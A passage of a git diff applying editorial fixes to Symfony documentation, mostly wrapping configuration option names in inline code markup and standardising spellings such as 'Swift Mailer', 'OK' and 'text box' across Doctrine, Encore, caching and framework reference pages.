index ad3a9bfc7e7..f8af5f86403 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -79,7 +79,7 @@ In Symfony, you can register your custom DQL functions as follows:
 .. note::
 
     In case the ``entity_managers`` were named explicitly, configuring the functions with the
-    orm directly will trigger the exception `Unrecognized option "dql" under "doctrine.orm"`.
+    ORM directly will trigger the exception ``Unrecognized option "dql" under "doctrine.orm"``.
     The ``dql`` configuration block must be defined under the named entity manager.
 
     .. configuration-block::
diff --git a/email/spool.rst b/email/spool.rst
index 040544c828c..ca7b89a76fd 100644
--- a/email/spool.rst
+++ b/email/spool.rst
@@ -21,7 +21,7 @@ Spool Using Memory
 When you use spooling to store the emails to memory, they will get sent right
 before the kernel terminates. This means the email only gets sent if the whole
 request got executed without any unhandled exception or any errors. To configure
-swiftmailer with the memory option, use the following configuration:
+Swift Mailer with the memory option, use the following configuration:
 
 .. configuration-block::
 
@@ -63,7 +63,7 @@ Spool Using Files
 When you use the filesystem for spooling, Symfony creates a folder in the given
 path for each mail service (e.g. "default" for the default service). This folder
 will contain files for each email in the spool. So make sure this directory is
-writable by Symfony (or your webserver/php)!
+writable by Symfony (or your webserver/PHP)!
 
 In order to use the spool with files, use the following configuration:
 
@@ -145,7 +145,7 @@ interval.
 
 .. caution::
 
-    When you create a message with SwiftMailer, it generates a ``Swift_Message``
+    When you create a message with Swift Mailer, it generates a ``Swift_Message``
     class. If the ``swiftmailer`` service is lazy loaded, it generates instead a
     proxy class named ``Swift_Message_<someRandomCharacters>``.
 
diff --git a/event_dispatcher/before_after_filters.rst b/event_dispatcher/before_after_filters.rst
index 98bb86d8c33..4b5a36bd401 100644
--- a/event_dispatcher/before_after_filters.rst
+++ b/event_dispatcher/before_after_filters.rst
@@ -174,7 +174,7 @@ After Filters with the ``kernel.response`` Event
 
 In addition to having a "hook" that's executed *before* your controller, you
 can also add a hook that's executed *after* your controller. For this example,
-imagine that you want to add a sha1 hash (with a salt using that token) to
+imagine that you want to add a ``sha1`` hash (with a salt using that token) to
 all responses that have passed this token authentication.
 
 Another core Symfony event - called ``kernel.response`` (aka ``KernelEvents::RESPONSE``) -
diff --git a/form/csrf_protection.rst b/form/csrf_protection.rst
index b46de4e67e9..8ad04acf224 100644
--- a/form/csrf_protection.rst
+++ b/form/csrf_protection.rst
@@ -21,7 +21,7 @@ Symfony automatically validates the presence and accuracy of this token.
 
 The ``_token`` field is a hidden field and will be automatically rendered
 if you include the ``form_end()`` function in your template, which ensures
-that all un-rendered fields are output.
+that all unrendered fields are output.
 
 .. caution::
 
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 5beffdd2282..5ad3d017739 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -7,7 +7,7 @@ How to Use Data Transformers
 Data transformers are used to translate the data for a field into a format that can
 be displayed in a form (and back on submit). They're already used internally for
 many field types. For example, the :doc:`DateType </reference/forms/types/date>` field
-can be rendered as a ``yyyy-MM-dd``-formatted input textbox. Internally, a data transformer
+can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data transformer
 converts the starting ``DateTime`` value of the field into the ``yyyy-MM-dd`` string
 to render the form, and then back into a ``DateTime`` object on submit.
 
@@ -120,9 +120,9 @@ Harder Example: Transforming an Issue Number into an Issue Entity
 -----------------------------------------------------------------
 
 Say you have a many-to-one relation from the Task entity to an Issue entity (i.e. each
-Task has an optional foreign key to its related Issue). Adding a listbox with all
+Task has an optional foreign key to its related Issue). Adding a list box with all
 possible issues could eventually get *really* long and take a long time to load.
-Instead, you decide you want to add a textbox, where the user can enter the issue number.
+Instead, you decide you want to add a text box, where the user can enter the issue number.
 
 Start by setting up the text field like normal::
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index bc0b1140e8a..9085e2031e2 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -132,10 +132,10 @@ Template Fragment Inheritance
 
 In some cases, the fragment you want to customize will appear to be missing.
 For example, there is no ``textarea_errors`` fragment in the default themes
-provided with Symfony. So how are the errors for a textarea field rendered?
+provided with Symfony. So how are the errors for a ``textarea`` field rendered?
 
 The answer is: via the ``form_errors`` fragment. When Symfony renders the errors
-for a textarea type, it looks first for a ``textarea_errors`` fragment before
+for a ``textarea`` type, it looks first for a ``textarea_errors`` fragment before
 falling back to the ``form_errors`` fragment. Each field type has a *parent*
 type (the parent type of ``textarea`` is ``text``, its parent is ``form``),
 and Symfony uses the fragment for the parent type if the base fragment doesn't
diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index f7cba9a4892..a312fd60174 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -49,8 +49,8 @@ cache directory:
     # On Unix run this command. On Windows, clear this directory manually
     $ rm -rf node_modules/.cache/babel-loader/
 
-Creating a .babelrc File
-------------------------
+Creating a ``.babelrc`` File
+----------------------------
 
 Instead of calling ``configureBabel()``, you could create a ``.babelrc`` file
 at the root of your project. This is a more "standard" way of configuring
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index e80f1f7d3c0..a6690bdf666 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -56,8 +56,8 @@ You can also pass options to the `postcss-loader`_ by passing a callback:
 
 .. _browserslist_package_config:
 
-Adding browserslist to package.json
------------------------------------
+Adding browserslist to ``package.json``
+---------------------------------------
 
 The ``autoprefixer`` (and many other tools) need to know what browsers you want to
 support. The best-practice is to configure this directly in your ``package.json``
diff --git a/frontend/encore/sourcemaps.rst b/frontend/encore/sourcemaps.rst
index e46151a5e7f..62d4c6a351b 100644
--- a/frontend/encore/sourcemaps.rst
+++ b/frontend/encore/sourcemaps.rst
@@ -6,7 +6,8 @@ asset (e.g. the Sass code that was compiled to CSS or the TypeScript code that
 was compiled to JavaScript). Source maps are useful for debugging purposes but
 unnecessary when executing the application in production.
 
-Encore's default ``webpack.config.js`` file enables sourcemaps in the ``dev`` build:
+Encore's default ``webpack.config.js`` file enables source maps in the ``dev``
+build:
 
 .. code-block:: javascript
 
diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 79d06fabf9c..8776cda0ca8 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -25,8 +25,8 @@ To link to these assets, Encore creates two files ``entrypoints.json`` and
 
 .. _load-manifest-files:
 
-Loading Assets from entrypoints.json & manifest.json
-----------------------------------------------------
+Loading Assets from ``entrypoints.json`` & ``manifest.json``
+------------------------------------------------------------
 
 Whenever you run Encore, two configuration files are generated: ``entrypoints.json``
 and ``manifest.json``. Each file is similar, and contains a map to the final, versioned
diff --git a/frontend/encore/versus-assetic.rst b/frontend/encore/versus-assetic.rst
index 9f606ae48e3..afc2373b2b7 100644
--- a/frontend/encore/versus-assetic.rst
+++ b/frontend/encore/versus-assetic.rst
@@ -8,26 +8,26 @@ still works well.
 
 So what are the differences between Assetic and Encore?
 
-+--------------------------+-------------------------------+-------------------------+
-|                          | Assetic                       | Encore                  +
-+--------------------------+-------------------------------+-------------------------+
-| Language                 | Pure PHP, relies on other     | Node.js                 |
-|                          | language tools for some tasks |                         |
-+--------------------------+-------------------------------+-------------------------+
-| Combine assets?          | Yes                           | Yes                     |
-+--------------------------+-------------------------------+-------------------------+
-| Minify assets?           | Yes (when configured)         | Yes (out-of-the-box)    |
-+--------------------------+-------------------------------+-------------------------+
-| Process Sass/Less?       | Yes                           | Yes                     |
-+--------------------------+-------------------------------+-------------------------+
-| Loads JS Modules? [1]_   | No                            | Yes                     |
-+--------------------------+-------------------------------+-------------------------+
-| Load CSS Deps in JS? [1] | No                            | Yes                     |
-+--------------------------+-------------------------------+-------------------------+
-| React, Vue.js support?   | No [2]_                       | Yes                     |
-+--------------------------+-------------------------------+-------------------------+
-| Support                  | Not actively maintained       | Actively maintained     |
-+--------------------------+-------------------------------+-------------------------+
++----------------------------------+-------------------------------+-------------------------+
+|                                  | Assetic                       | Encore                  +
++----------------------------------+-------------------------------+-------------------------+
+| Language                         | Pure PHP, relies on other     | Node.js                 |
+|                                  | language tools for some tasks |                         |
++----------------------------------+-------------------------------+-------------------------+
+| Combine assets?                  | Yes                           | Yes                     |
++----------------------------------+-------------------------------+-------------------------+
+| Minify assets?                   | Yes (when configured)         | Yes (out-of-the-box)    |
++----------------------------------+-------------------------------+-------------------------+
+| Process Sass/Less?               | Yes                           | Yes                     |
++----------------------------------+-------------------------------+-------------------------+
+| Loads JS Modules? [1]_           | No                            | Yes                     |
++----------------------------------+-------------------------------+-------------------------+
+| Load CSS dependencies in JS? [1] | No                            | Yes                     |
++----------------------------------+-------------------------------+-------------------------+
+| React, Vue.js support?           | No [2]_                       | Yes                     |
++----------------------------------+-------------------------------+-------------------------+
+| Support                          | Not actively maintained       | Actively maintained     |
++----------------------------------+-------------------------------+-------------------------+
 
 .. [1] JavaScript modules allow you to organize your JavaScript into small files
        called modules and import them:
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 191bb50324e..a92fa1b116b 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -1,5 +1,5 @@
-Enabling Vue.js (vue-loader)
-============================
+Enabling Vue.js (``vue-loader``)
+================================
 
 Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 
diff --git a/http_cache/form_csrf_caching.rst b/http_cache/form_csrf_caching.rst
index df174616d90..6e031cc5be9 100644
--- a/http_cache/form_csrf_caching.rst
+++ b/http_cache/form_csrf_caching.rst
@@ -36,5 +36,5 @@ Another option would be to load the form via an uncached AJAX request, but
 cache the rest of the HTML response.
 
 Or you can even load just the CSRF token with an AJAX request and replace the
-form field value with it. Take a look at :doc:`hinclude.js </templating/hinclude>`
+form field value with it. Take a look at :doc:`HInclude </templating/hinclude>`
 for a nice solution.
diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index d2f115f149f..68f0ce1c9cf 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -13,7 +13,7 @@ The validation model addresses this issue. Under this model, the cache continues
 to store responses. The difference is that, for each request, the cache asks the
 application if the cached response is still valid or if it needs to be regenerated.
 If the cache *is* still valid, your application should return a 304 status code
-and no content. This tells the cache that it's ok to return the cached response.
+and no content. This tells the cache that it's OK to return the cached response.
 
 Under this model, you only save CPU if you're able to determine that the
 cached response is still valid by doing *less* work than generating the whole
@@ -48,7 +48,8 @@ An ``ETag`` is like a fingerprint and is used to quickly compare if two
 different versions of a resource are equivalent. Like fingerprints, each
 ``ETag`` must be unique across all representations of the same resource.
 
-To see a simple implementation, generate the ETag as the md5 of the content::
+To see a simple implementation, generate the ``ETag`` as the ``md5`` of the
+content::
 
     // src/AppBundle/Controller/DefaultController.php
     namespace AppBundle\Controller;
@@ -78,11 +79,11 @@ to 304.
 
     When using ``mod_deflate`` or ``mod_brotli`` in Apache 2.4, the original
     ``ETag`` value is modified (e.g. if ``ETag`` was ``foo``, Apache turns it
-    into ``foo-gzip`` or ``foo-br``), which breaks the ETag-based validation.
+    into ``foo-gzip`` or ``foo-br``), which breaks the ``ETag``-based validation.
 
     You can control this behavior with the `DeflateAlterETag`_ and `BrotliAlterETag`_
     directives. Alternatively, you can use the following Apache configuration to
-    keep both the original ETag and the modified one when compressing responses:
+    keep both the original ``ETag`` and the modified one when compressing responses:
 
     .. code-block:: apache
 
@@ -96,7 +97,7 @@ to 304.
     decide whether or not the resource has been updated since it was cached.
 
 This algorithm is simple enough and very generic, but you need to create the
-whole ``Response`` before being able to compute the ETag, which is sub-optimal.
+whole ``Response`` before being able to compute the ``ETag``, which is sub-optimal.
 In other words, it saves on bandwidth, but not CPU cycles.
 
 In the :ref:`optimizing-cache-validation` section, you'll see how validation
@@ -105,7 +106,7 @@ doing so much work.
 
 .. tip::
 
-    Symfony also supports weak ETags by passing ``true`` as the second
+    Symfony also supports weak ``ETag``s by passing ``true`` as the second
     argument to the
     :method:`Symfony\\Component\\HttpFoundation\\Response::setEtag` method.
 
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 11dbd3bdb0f..92d35c073c3 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -120,7 +120,7 @@ You can specify the configuration by many forms:
 Creating your own Channel
 -------------------------
 
-You can change the channel monolog logs to one service at a time. This is done
+You can change the channel Monolog logs to one service at a time. This is done
 either via the :ref:`configuration <monolog-channels-config>` below
 or by tagging your service with :ref:`monolog.logger<dic_tags-monolog>` and
 specifying which channel the service should log to. With the tag, the logger
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 46bb96f2155..ab9132ee83d 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -49,7 +49,7 @@ The example above could then be rewritten as::
 Depending on the verbosity level that the command is run in and the user's
 configuration (see below), these messages may or may not be displayed to
 the console. If they are displayed, they are timestamped and colored appropriately.
-Additionally, error logs are written to the error output (php://stderr).
+Additionally, error logs are written to the error output (``php://stderr``).
 There is no need to conditionally handle the verbosity settings anymore.
 
 The Monolog console handler is enabled by default in the Symfony Framework. For
diff --git a/page_creation.rst b/page_creation.rst
index c12b5c40757..c1dd58a5de5 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -235,7 +235,7 @@ What's Next?
 Congrats! You're already starting to master Symfony and learn a whole new
 way of building beautiful, functional, fast and maintainable applications.
 
-Ok, time to finish mastering the fundamentals by reading these articles:
+OK, time to finish mastering the fundamentals by reading these articles:
 
 * :doc:`/routing`
 * :doc:`/controller`
diff --git a/performance.rst b/performance.rst
index 5bf927cd07e..1feb0bd4025 100644
--- a/performance.rst
+++ b/performance.rst
@@ -163,8 +163,8 @@ possible solutions:
 
 .. _performance-configure-realpath-cache:
 
-Configure the PHP realpath Cache
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Configure the PHP ``realpath`` Cache
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When a relative path is transformed into its real and absolute path, PHP
 caches the result to improve performance. Applications that open many PHP files,
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 55ae1e42ec3..0898d4d81f9 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -77,7 +77,7 @@ request::
     Returns the collector identifier, which must be unique in the application.
     This value is used later to access the collector information (see
     :doc:`/testing/profiling`) so it's recommended to return a string which is
-    short, lowercased and without white spaces.
+    short, lowercase and without white spaces.
 
 .. _data_collector_tag:
 
diff --git a/profiler/storage.rst b/profiler/storage.rst
index 78bd45164f0..c4cb202a874 100644
--- a/profiler/storage.rst
+++ b/profiler/storage.rst
@@ -5,7 +5,7 @@ Switching the Profiler Storage
 ==============================
 
 In Symfony versions prior to 3.0, profiles could be stored in files, databases,
-services like Redis and Memcache, etc. Starting from Symfony 3.0, the only storage
+services like Redis and memcache, etc. Starting from Symfony 3.0, the only storage
 mechanism with built-in support is the filesystem.
 
 By default, the profile stores the collected data in the ``%kernel.cache_dir%/profiler/``
diff --git a/reference/configuration/assetic.rst b/reference/configuration/assetic.rst
index c86b93840e4..4ab48915c01 100644
--- a/reference/configuration/assetic.rst
+++ b/reference/configuration/assetic.rst
@@ -6,7 +6,7 @@ Assetic Configuration Reference (AsseticBundle)
 
 .. include:: /assetic/_standard_edition_warning.rst.inc
 
-You can get the full Asstic configuration reference as follows:
+You can get the full Assetic configuration reference as follows:
 
 .. code-block:: terminal
 
diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 3799288e71f..bf23d951ea9 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -32,16 +32,20 @@ Configuration
 * `min_depth`_
 * `max_string_length`_
 
-max_items
-~~~~~~~~~
+``max_items``
+~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``2500``
 
 This is the maximum number of items to dump. Setting this option to ``-1``
 disables the limit.
 
-min_depth
-~~~~~~~~~
+``min_depth``
+~~~~~~~~~~~~~
+
+.. versionadded:: 3.4
+
+    The ``min_depth`` option was introduced in Symfony 3.4.
 
 **type**: ``integer`` **default**: ``1``
 
@@ -50,20 +54,16 @@ be cloned. After this depth is reached, only ``max_items`` items will be
 cloned. The default value is ``1``, which is consistent with older Symfony
 versions.
 
-.. versionadded:: 3.4
-
-    The ``min_depth`` option was introduced in Symfony 3.4.
-
-max_string_length
-~~~~~~~~~~~~~~~~~
+``max_string_length``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``-1``
 
 This option configures the maximum string length before truncating the
 string. The default value (``-1``) means that strings are never truncated.
 
-dump_destination
-~~~~~~~~~~~~~~~~
+``dump_destination``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index f06420c5dcc..8f9d402683d 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -247,14 +247,14 @@ Explicit definition of all the mapped entities is the only necessary
 configuration for the ORM and there are several configuration options that
 you can control. The following configuration options exist for a mapping:
 
-type
-....
+``type``
+........
 
 One of ``annotation``, ``xml``, ``yml``, ``php`` or ``staticphp``. This
 specifies which type of metadata type your mapping uses.
 
-dir
-...
+``dir``
+.......
 
 Path to the mapping or entity files (depending on the driver). If this path
 is relative, it is assumed to be relative to the bundle root. This only works
@@ -262,8 +262,8 @@ if the name of your mapping is a bundle name. If you want to use this option
 to specify absolute paths you should prefix the path with the kernel parameters
 that exist in the DIC (for example ``%kernel.project_dir%``).
 
-prefix
-......
+``prefix``
+..........
 
 A common namespace prefix that all entities of this mapping share. This
 prefix should never conflict with prefixes of other defined mappings otherwise
@@ -271,15 +271,15 @@ some of your entities cannot be found by Doctrine. This option defaults
 to the bundle namespace + ``Entity``, for example for an application bundle
 called AcmeHelloBundle prefix would be ``Acme\HelloBundle\Entity``.
 
-alias
-.....
+``alias``
+.........
 
 Doctrine offers a way to alias entity namespaces to simpler, shorter names
 to be used in DQL queries or for Repository access. When using a bundle
 the alias defaults to the bundle name.
 
-is_bundle
-.........
+``is_bundle``
+.............
 
 This option is a derived value from ``dir`` and by default is set to ``true``
 if dir is relative proved by a ``file_exists()`` check that returns ``false``.
@@ -437,7 +437,7 @@ Default Value of Dir
 
 If ``dir`` is not specified, then its default value depends on which configuration
 driver is being used. For drivers that rely on the PHP files (annotation,
-staticphp) it will be ``[Bundle]/Entity``. For drivers that are using
+``staticphp``) it will be ``[Bundle]/Entity``. For drivers that are using
 configuration files (XML, YAML, ...) it will be
 ``[Bundle]/Resources/config/doctrine``.
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b421a6c5d3a..d604127b48e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -215,8 +215,8 @@ Configuration
     * `transitions`_
     * :ref:`type <reference-workflows-type>`
 
-secret
-~~~~~~
+``secret``
+~~~~~~~~~~
 
 **type**: ``string`` **required**
 
@@ -241,8 +241,8 @@ out all the application users.
 
 .. _configuration-framework-http_method_override:
 
-http_method_override
-~~~~~~~~~~~~~~~~~~~~
+``http_method_override``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -276,13 +276,13 @@ named ``kernel.http_method_override``.
 
 .. _reference-framework-trusted-proxies:
 
-trusted_proxies
-~~~~~~~~~~~~~~~
+``trusted_proxies``
+~~~~~~~~~~~~~~~~~~~
 
 The ``trusted_proxies`` option was removed in Symfony 3.3. See :doc:`/deployment/proxies`.
 
-ide
-~~~
+``ide``
+~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -364,8 +364,8 @@ need to escape the percent signs (``%``) by doubling them.
 
 .. _reference-framework-test:
 
-test
-~~~~
+``test``
+~~~~~~~~
 
 **type**: ``boolean``
 
@@ -380,8 +380,8 @@ setting should be present in your ``test`` environment (usually via
 
 .. _config-framework-default_locale:
 
-default_locale
-~~~~~~~~~~~~~~
+``default_locale``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``en``
 
@@ -395,8 +395,8 @@ method.
     You can read more information about the default locale in
     :ref:`translation-default-locale`.
 
-trusted_hosts
-~~~~~~~~~~~~~
+``trusted_hosts``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``array`` | ``string`` **default**: ``[]``
 
@@ -470,13 +470,13 @@ can respond to any given host.
 
 .. _reference-framework-form:
 
-form
-~~~~
+``form``
+~~~~~~~~
 
 .. _reference-form-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -495,8 +495,8 @@ settings is configured.
 
     For more details, see :doc:`/forms`.
 
-csrf_protection
-~~~~~~~~~~~~~~~
+``csrf_protection``
+~~~~~~~~~~~~~~~~~~~
 
 .. seealso::
 
@@ -504,8 +504,8 @@ csrf_protection
 
 .. _reference-csrf_protection-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``true`` if form support is enabled, ``false``
 otherwise
@@ -517,8 +517,8 @@ If you're using forms, but want to avoid starting your session (e.g. using
 forms in an API-only website), ``csrf_protection`` will need to be set to
 ``false``.
 
-esi
-~~~
+``esi``
+~~~~~~~
 
 .. seealso::
 
@@ -526,8 +526,8 @@ esi
 
 .. _reference-esi-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -566,8 +566,8 @@ You can also set ``esi`` to ``true`` to enable it:
             'esi' => true,
         ]);
 
-fragments
-~~~~~~~~~
+``fragments``
+~~~~~~~~~~~~~
 
 .. seealso::
 
@@ -576,8 +576,8 @@ fragments
 
 .. _reference-fragments-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -589,21 +589,21 @@ is configured.
 
 .. _reference-fragments-path:
 
-path
-....
+``path``
+........
 
 **type**: ``string`` **default**: ``'/_fragment'``
 
 The path prefix for fragments. The fragment listener will only be executed
 when the request starts with this path.
 
-profiler
-~~~~~~~~
+``profiler``
+~~~~~~~~~~~~
 
 .. _reference-profiler-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -617,8 +617,8 @@ and ``test`` environments.
     the :doc:`WebProfilerBundle configuration </reference/configuration/web_profiler>`
     on how to disable/enable the toolbar.
 
-collect
-.......
+``collect``
+...........
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -630,24 +630,24 @@ and activate the data collectors manually::
 
     $profiler->enable();
 
-only_exceptions
-...............
+``only_exceptions``
+...................
 
 **type**: ``boolean`` **default**: ``false``
 
 When this is set to ``true``, the profiler will only be enabled when an
 exception is thrown during the handling of the request.
 
-only_master_requests
-....................
+``only_master_requests``
+........................
 
 **type**: ``boolean`` **default**: ``false``
 
 When this is set to ``true``, the profiler will only be enabled on the master
 requests (and not on the subrequests).
 
-dsn
-...
+``dsn``
+.......
 
 **type**: ``string`` **default**: ``'file:%kernel.cache_dir%/profiler'``
 
@@ -658,8 +658,8 @@ The DSN where to store the profiling information.
     See :doc:`/profiler/storage` for more information about the
     profiler storage.
 
-matcher
-.......
+``matcher``
+...........
 
 .. caution::
 
@@ -673,8 +673,8 @@ instance, based on the `ip`_ or :ref:`path <reference-profiler-matcher-path>`.
     See :doc:`/profiler/matchers` for more information about using
     matchers to enable/disable the profiler.
 
-ip
-""
+``ip``
+""""""
 
 **type**: ``string``
 
@@ -682,25 +682,25 @@ If set, the profiler will only be enabled when the current IP address matches.
 
 .. _reference-profiler-matcher-path:
 
-path
-""""
+``path``
+""""""""
 
 **type**: ``string``
 
 If set, the profiler will only be enabled when the current path matches.
 
-service
-"""""""
+``service``
+"""""""""""
 
 **type**: ``string``
 
 This setting contains the service id of a custom matcher.
 
-request
-~~~~~~~
+``request``
+~~~~~~~~~~~
 
-formats
-.......
+``formats``
+...........
 
 **type**: ``array`` **default**: ``[]``
 
@@ -759,11 +759,11 @@ To configure a ``jsonp`` format:
             ],
         ]);
 
-router
-~~~~~~
+``router``
+~~~~~~~~~~
 
-resource
-........
+``resource``
+............
 
 **type**: ``string`` **required**
 
@@ -772,8 +772,8 @@ routes and imports the router should load.
 
 .. _reference-router-type:
 
-type
-....
+``type``
+........
 
 **type**: ``string``
 
@@ -781,22 +781,22 @@ The type of the resource to hint the loaders about the format. This isn't
 needed when you use the default routers with the expected file extensions
 (``.xml``, ``.yml`` / ``.yaml``, ``.php``).
 
-http_port
-.........
+``http_port``
+.............
 
 **type**: ``integer`` **default**: ``80``
 
 The port for normal http requests (this is used when matching the scheme).
 
-https_port
-..........
+``https_port``
+..............
 
 **type**: ``integer`` **default**: ``443``
 
 The port for https requests (this is used when matching the scheme).
 
-strict_requirements
-...................
+``strict_requirements``
+.......................
 
 **type**: ``mixed`` **default**: ``true``
 
@@ -818,11 +818,11 @@ The value can be one of:
 ``true`` is recommended in the development environment, while ``false``
 or ``null`` might be preferred in production.
 
-session
-~~~~~~~
+``session``
+~~~~~~~~~~~
 
-storage_id
-..........
+``storage_id``
+..............
 
 **type**: ``string`` **default**: ``'session.storage.native'``
 
@@ -830,8 +830,8 @@ The service id used for session storage. The ``session.storage`` service
 alias will be set to this service id. This class has to implement
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface`.
 
-handler_id
-..........
+``handler_id``
+..............
 
 **type**: ``string`` **default**: ``'session.handler.native_file'``
 
@@ -848,8 +848,8 @@ installation.
 
 .. _name:
 
-name
-....
+``name``
+........
 
 **type**: ``string`` **default**: ``null``
 
@@ -857,8 +857,8 @@ This specifies the name of the session cookie. By default, it will use the
 cookie name which is defined in the ``php.ini`` with the ``session.name``
 directive.
 
-cookie_lifetime
-...............
+``cookie_lifetime``
+...................
 
 **type**: ``integer`` **default**: ``null``
 
@@ -867,16 +867,16 @@ This determines the lifetime of the session - in seconds. The default value
 will be used. Setting this value to ``0`` means the cookie is valid for
 the length of the browser session.
 
-cookie_path
-...........
+``cookie_path``
+...............
 
 **type**: ``string`` **default**: ``/``
 
 This determines the path to set in the session cookie. By default, it will
 use ``/``.
 
-cache_limiter
-.............
+``cache_limiter``
+.................
 
 **type**: ``string`` or ``int`` **default**: ``''``
 
@@ -919,8 +919,8 @@ Unlike the other session options, ``cache_limiter`` is set as a regular
             'cache_limiter' => 0,
         ]);
 
-cookie_domain
-.............
+``cookie_domain``
+.................
 
 **type**: ``string`` **default**: ``''``
 
@@ -928,15 +928,15 @@ This determines the domain to set in the session cookie. By default, it's
 blank, meaning the host name of the server which generated the cookie according
 to the cookie specification.
 
-cookie_secure
-.............
+``cookie_secure``
+.................
 
 **type**: ``boolean`` **default**: ``false``
 
 This determines whether cookies should only be sent over secure connections.
 
-cookie_httponly
-...............
+``cookie_httponly``
+...................
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -945,15 +945,15 @@ protocol. This means that the cookie won't be accessible by scripting
 languages, such as JavaScript. This setting can effectively help to reduce
 identity theft through XSS attacks.
 
-gc_divisor
-..........
+``gc_divisor``
+..............
 
 **type**: ``integer`` **default**: ``100``
 
 See `gc_probability`_.
 
-gc_probability
-..............
+``gc_probability``
+..................
 
 **type**: ``integer`` **default**: ``1``
 
@@ -962,8 +962,8 @@ started on every session initialization. The probability is calculated by
 using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1%
 chance that the GC process will start on each request.
 
-gc_maxlifetime
-..............
+``gc_maxlifetime``
+..................
 
 **type**: ``integer`` **default**: ``1440``
 
@@ -971,8 +971,8 @@ This determines the number of seconds after which data will be seen as "garbage"
 and potentially cleaned up. Garbage collection may occur during session
 start and depends on `gc_divisor`_ and `gc_probability`_.
 
-save_path
-.........
+``save_path``
+.............
 
 **type**: ``string`` **default**: ``%kernel.cache_dir%/sessions``
 
@@ -1019,8 +1019,8 @@ setting the value to ``null``:
 
 .. _reference-session-metadata-update-threshold:
 
-metadata_update_threshold
-.........................
+``metadata_update_threshold``
+.............................
 
 **type**: ``integer`` **default**: ``0``
 
@@ -1033,8 +1033,8 @@ changed. Previously, you needed to set this option to avoid that behavior.
 
 .. _reference-session-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -1074,8 +1074,8 @@ Whether to enable the session support in the framework.
             ],
         ]);
 
-use_cookies
-...........
+``use_cookies``
+...............
 
 **type**: ``boolean`` **default**: ``null``
 
@@ -1083,13 +1083,13 @@ This specifies if the session ID is stored on the client side using cookies or
 not. By default, it will use the value defined in the ``php.ini`` with the
 ``session.use_cookies`` directive.
 
-assets
-~~~~~~
+``assets``
+~~~~~~~~~~
 
 .. _reference-assets-base-path:
 
-base_path
-.........
+``base_path``
+.............
 
 **type**: ``string``
 
@@ -1134,8 +1134,8 @@ This option allows you to define a base path to be used for assets:
 .. _reference-templating-base-urls:
 .. _reference-assets-base-urls:
 
-base_urls
-.........
+``base_urls``
+.............
 
 **type**: ``array``
 
@@ -1182,8 +1182,8 @@ collection each time it generates an asset's path:
 
 .. _reference-framework-assets-packages:
 
-packages
-........
+``packages``
+............
 
 You can group assets into packages, to specify different base URLs for them:
 
@@ -1251,8 +1251,8 @@ Each package can configure the following options:
 .. _reference-framework-assets-version:
 .. _ref-framework-assets-version:
 
-version
-.......
+``version``
+...........
 
 **type**: ``string``
 
@@ -1326,8 +1326,8 @@ option.
 .. _reference-templating-version-format:
 .. _reference-assets-version-format:
 
-version_format
-..............
+``version_format``
+..................
 
 **type**: ``string`` **default**: ``%%s?%%s``
 
@@ -1366,8 +1366,8 @@ is set to ``5``, the asset's path would be ``/images/logo.png?version=5``.
